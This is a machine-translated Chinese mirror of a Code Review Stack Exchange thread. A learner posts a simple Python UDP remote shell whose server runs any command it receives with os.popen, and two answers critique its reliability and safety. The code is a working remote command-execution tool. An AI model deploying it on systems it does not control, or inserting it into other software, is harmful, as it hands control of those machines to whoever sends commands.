Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具

UDP反壳
EN

Code Review用户
提问于 2018-08-09 03:24:51
回答 2查看 1.4K关注 0票数 6

我目前正在学习python /网络编程,我编写了这个简单的python反向shell;我想听听您对代码结构、任何常见的初学者错误的评论,实际上,我的代码几乎任何感觉不对的地方。

代码非常简单,客户端向服务器发送命令,然后侦听命令输出;服务器侦听命令,执行命令并发送命令输出。

client.py :

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python3

import networking
import prompt_handler


def interpreter():
    while True:
        prompt = prompt_handler.pull_prompt(sockt)

        cmd = input(prompt)
        sockt.sendto(cmd.encode('utf-8'), server)

        output = networking.receive_data(sockt)
        print(output)

        if cmd == "quit":
            break


server = ('127.0.0.1', 8001)

sockt = networking.socket_init('127.0.0.1', 9001)
sockt.sendto('client hello'.encode('utf-8'), server)

interpreter()

server.py :

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python3

import os
import platform
import networking


# separated sends for cwd and user_string to be able to color them client side
def get_sys_info():
    user_string = 'someone@' + str(platform.dist()[0]).lower()
    sockt.sendto(user_string.encode('utf-8'), client)

    user_cwd = os.getcwd()
    sockt.sendto(user_cwd.encode('utf-8'), client)
    return


def shell():
    while True:
        try:
            get_sys_info()
            cmd = networking.receive_data(sockt)

            if cmd.strip() == 'quit':
                sockt.sendto('Closing session...'.encode('utf-8'), client)
                sockt.close()
                break
            else:
                proc = os.popen(cmd)
                output = ''.join([i for i in proc.readlines()])

                sockt.sendto(output.encode('utf-8'), client)

        except Exception as e:
            sockt.sendto(repr(e).encode('utf-8'), client)
            pass


sockt = networking.socket_init('127.0.0.1', 8001)
client = networking.receive_rhostinfo(sockt)

shell()

networking.py :

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import socket


def socket_init(ip_addr, port):
    sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sockt.bind((ip_addr, port))
    return sockt


# to be able to get the data directly - less clutter in main code
def receive_data(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return data.decode('utf-8')


# to be able to get the remote host info directly - less clutter in main code
def receive_rhostinfo(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return rhost_info

promp_handler.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import networking


def pull_sys_info(sockt):
    user_str = networking.receive_data(sockt)
    cwd = networking.receive_data(sockt)
    return user_str, cwd


# i was craving for some color
def pull_prompt(sockt):
    user_str, cwd = pull_sys_info(sockt)
    user_str = "\u001b[31m" + user_str + "\u001b[0m:"
    cwd = "\u001b[34m" + cwd + "\u001b[0m$"
    return user_str + cwd

如果需要的话,您可以在github上找到代码。

EN

回答 2

Code Review用户

回答已采纳

发布于 2018-08-09 07:25:06

  • UDP不可靠。发送到服务器的数据包可能丢失(因此服务器将不应答)。服务器发送的数据包可能会丢失。客户必须处理这些可能性。按照编码,它只是无限期地挂在recvfrom中。
  • 您的recvfrom只需要1024字节。如果shell输出较长,则其余部分将无法恢复。
  • 如果shell输出大于MTU,则将输出分段为多个数据包。然而,客户端只读取一个。从这一点开始,数据客户端接收到的数据与执行的内容没有任何连接。例如,尝试cat一个长文件。另外,请记住,碎片可能以任何顺序到达(UDP并不保证交付顺序)。
  • 小心外壳结构。由于每个命令都是在单独的shell中执行的,因此某些命令(如cd)似乎只被执行,但实际上没有任何效果。
  • 当然,不要公开运行这台服务器。执行任意命令(特别是来自不受信任的源)是一种灾难。
票数 5
EN

Code Review用户

发布于 2018-08-09 05:34:21

通用风格

你的一般代码风格很好。这些方法的命名是可行的,并且您坚持PEP 8。

分别关闭客户端和服务器

当前,"quit"命令同时关闭服务器和客户端。因为它是在客户机中输入到服务器的命令,所以我希望它要么关闭客户机(首先),要么关闭服务器,但不是两者都关闭。您可能需要考虑使用"quit"仅关闭客户端,并在以后重新连接时保持服务器运行,并仅使用"shutdown“之类的方法关闭服务器。

在关闭之前,服务器可以通过发送␄或另一个控制字符来通知客户端。

套接字限制和数据丢失

静态地将数据从套接字中的读取限制为1024字节。如果你能发送更多的数据,它就会丢失。

在适用的情况下使用

如果您不一定需要在低级别上处理套接字,请查看ZeroMQ或其他高级库。

票数 5
EN
页面原文内容由Code Review提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://codereview.stackexchange.com/questions/201276

复制
相关文章
套壳
phonegap已经不再是phonegap,而是phonegap build,用来打包的。
libo1106
2018/08/08
8190
Linux的“壳”
在上一篇文章中,我们已经初尝了Shell的好处。由于我们后面将大量借助Shell,所以在这里先简要介绍一下这件工具。 什么是Shell 我们已经说过,Shell是Unix系统提供的文本交互界面。你只需要用键盘来输入命令,就可以和操作系统交互。但这还是不够具体。说到底,Shell其实是一个运行着的程序。这个程序接收到你按下回车键之间的输入,就会对输入的文本进行分析。比如下面这个命令: $free -h 包括空格在内总共7个字符。Shell程序会通过空格,区分出命令的不同部分。第一个部分是命令名。剩下的部分是选
Vamei
2018/01/18
1.2K0
android 壳特征
类加载技术: 针对apk中的classes.dex文件进行处理,放入待定的文件中,通过native代码来进行对其运行时解密。
tea9
2022/09/08
1.2K0
android 壳特征
花生壳
有时是恶而不是善,对人的吸引力更大——陀思妥耶夫斯基 今天需要一个https测试,想到了内网穿透,找到了这款付费的软件 花生壳官网 价格也不贵,6元 进入后点击控制台 一系列操作后,找到内网穿透,点击增加映射 选择域名,设置ip和端口 成功 再次用域名访问就可以了,就是有点慢。。。
阿超
2022/08/17
2.4K0
花生壳
【Android 逆向】加壳技术识别 ( VMP 加壳示例 | Dex2C 加壳示例 )
加壳技术识别的必要性 : 拿到 APK 文件后 , 如果想要分析其 DEX 文件 , 需要先 识别出该 APK 是使用的什么技术进行的加壳 , 如果该 APK 只是使用了整体保护 , 只需要将内存中的 DEX 文件 DUMP 下来即可 ; 如果该 APK 使用了 VMP 加壳 , 则需要逆向分析解释器 ;
韩曙亮
2023/03/30
5.6K0
什么是App加壳,以及App加壳的利与弊
什么是App加壳,以及App加壳的利与弊 目前针对移动应用市场上安卓APP被破解、反编译、盗版丛生的现象,很多APP开发人员已经意识到保护APP的重要性。而对于移动应用APP加密保护的问题,如何对D
非著名程序员
2018/02/02
4K0
什么是App加壳,以及App加壳的利与弊
UDP
UDP是轻量级的协议,它仅仅只在网络层之上做了多路复用/分解和少量的差错校验。这是由于数据链路层并不一定提供差错检验,因此UDP提供了差错校验,但是它不恢复差错。
zy010101
2019/05/25
2.3K0
花生壳+tomcat
1,注册花生壳,并激活护照. 2,下载客户端并登录 3,验证域名绑定ip 右键:选择域名诊断: 查看指向ip与自己的公网ip是否匹配 4,设置自己的ip为固定ip(局域网) 5,登录路由器后台:19
用户1112962
2018/07/03
1.9K0
基于UDP编程_udp详解
基于UDP编程 1 UDP是数据报协议,无连接的,不可靠,追求传输效率的一种通信协议数据的发送和接收是同步的.在进行通信之前,不需要建立连接.其传输效率比TCP高.对其服务器而言,并没有三次握手的过程.因此和TCP相比,少了被动监听(listen)和(accept).只需要创建通信设备,绑定IP地址和端口号.然后进行数据的收发.
全栈程序员站长
2022/10/03
1.7K0
什么是App加壳,以及App加壳的利与弊
目前针对移动应用市场上安卓APP被破解、反编译、盗版丛生的现象,很多APP开发人员已经意识到保护APP的重要性。而对于移动应用APP加密保护的问题,如何对DEX文件加密尤为重要。那么接下来,我们就先介
非著名程序员
2018/02/08
3.4K0
什么是App加壳,以及App加壳的利与弊
手脱UPX壳
调试工具是PEID和OD 脱壳工具为OllyDbg,在oep处右键,用ollydump脱壳调试进程。 单步跟踪 单步调试,向上的跳转不让其实现,向下跳转可以实现。(F8单步调试) 当遇到向上的跳
听城
2018/04/27
1.2K0
手脱UPX壳
Python udp编程_python socket udp
TCP是建立可靠连接,并且通信双方都可以以流的形式发送数据。相对TCP,UDP则是面向无连接的协议。
全栈程序员站长
2022/10/04
1.7K0
加壳脱壳笔记
UPX、ASPack、Petite、WinUpack(Upack)、Themida
De4dCr0w
2019/02/27
1.6K0
lwip udp 发送_lwip udp发送
1、void udp_input(struct pbuf *p, struct netif *inp)
全栈程序员站长
2022/10/04
3.8K0
lwip udp 发送_lwip udp发送
UDP协议编程_udp c语言
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
全栈程序员站长
2022/10/04
2.8K0
UDP协议编程_udp c语言
【Android 逆向】加壳技术识别 ( 函数抽取 与 Native 化加壳的区分 | VMP 加壳与 Dex2C 加壳的区分 )
如果函数是 非 Native 函数 , 并且 函数体 无效 , 说明这是 函数抽取 加壳 ;
韩曙亮
2023/03/30
8180
什么是udp攻击_udp攻击原理
什么是UDP攻击? 完整的说应该是UDP淹没攻击 (UDP Flood Attack)
全栈程序员站长
2022/11/09
1.4K0
iframe套壳别的网站
如果你有个域名和服务器,但是你又想要目标网站的内容,可以选择套壳。用html的iframe标签实现
季春二九
2023/07/14
5380
iframe套壳别的网站
c 语言加壳项目,C 加壳工具,快速完成加密保护
当前C# .net语言的应用范围越来越广泛,IIS 的服务器架构后台代码、桌面应用程序的 winform 、Unity3d 的逻辑脚本都在使用。C# .net 具备强大的便捷特性,使得开发成本极低。而作为一款.net 语言,也有它让开发者头疼的弊病——非常容易被反编译。市面上的 Dnspy, ILspy,de4dot等工具可以非常容易反编译出被混淆保护的C# .net 程序。
全栈程序员站长
2022/09/07
1.8K0
c 语言加壳项目,C 加壳工具,快速完成加密保护
加壳工具的使用
1.加壳:是一种通过一系列数学运算,将可执行程序文件(EXE)或动态链接库文件(DLL)的编码进行改变(目前加壳软件还可以压缩、加密),以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。 2.常见到的压缩壳有“UPX”、“北斗程序压缩”、“ASPack”等,加密壳有“PE-Armor”、“ASProtect”等等。
全栈程序员站长
2022/09/14
2.3K0
加壳工具的使用

相似问题

计算凸壳

10

PyDOS壳模拟

20

POSIX壳的主要功能

10

反变换采样

20

C++:合并两个凸壳

20
添加站长 进交流群

领取专属 10元无门槛券

AI混元助手 在线答疑

扫码加入开发者社群
关注 腾讯云开发者公众号

洞察 腾讯核心技术

剖析业界实践案例

扫码关注腾讯云开发者公众号
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文